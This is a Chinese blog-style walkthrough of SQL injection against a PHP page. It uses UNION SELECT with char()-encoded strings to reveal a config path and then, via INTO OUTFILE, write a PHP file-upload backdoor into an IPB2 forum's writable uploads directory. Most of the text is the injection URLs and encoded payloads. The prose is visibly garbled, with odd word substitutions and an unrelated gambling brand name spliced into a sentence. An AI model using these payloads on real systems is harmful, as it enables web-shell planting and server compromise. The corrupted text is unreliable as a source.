localhost/111/show.phpid1 and 12 union select 1,1, char(47, 104, 111, 109, 101, 47, 119, 119, 119, 47, 99, 111, 110, 102, 105, 103, 46, 112, 104,112)
屏幕上显示了：
/home/www/config.php
门路没错啊，文件也存在啊，岂非没有权限·临时放下这个，这个站点有可写的目录，是ipb2的|论|坛|泛亚娱乐|，/ipb2/uploads这个目录是要设置成可写的，上传附件才干畸形应用，我就想应用插数据，导出文件的方式，由于我看了phpinfo()，magic_quotes_gpc 是封闭的，所以用into outfile不问题，而后在本地测试了一下，发明提交的代码：
变成了：
多提交多少个处所，均被做了处理，看来这样我的这个思路又不行了，忽然想到方才看路径的时候，能用char()函数输出字符串，那我能不能直接写上传代码·
这个转换为10进制是这样的：
char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62)
我马上提交：
localhost/111/show.phpid1 and 12 union select 1,1, char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62)
屏幕并没有显示出咱们想要的货色，我查看源代码，发现
这个代码老诚实实躺在里面，如图：
之所以看不见，是因为阅读器把“ ”和“ ”之间的东西当成HTML代码解析了，这么说是可行的！这样的利益和插数据，导出文件比拟好处在于：
- 不用插入数据，因而不必斟酌数据类型跟长度，也不怕做处置。
- 只用知道一个数据表就能够使用into outfile了，无需知道字段。
因为之前，我猜到一个user表，我也不用去晓得字段了，有字段作为查问前提只是为了避免数据库很大，导出所有数据时很慢的情形，我当初马上就提交：
localhost/111/show.phpid1 and 12 union select 1,1, char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62) from user into outfile \'/home/www/ipb2/uploads/upload.php\'/.
立刻查看，如图：
阅读(494) | 评论(0) | 转发(0) |
|
|
|
|
|
|
|
|
|
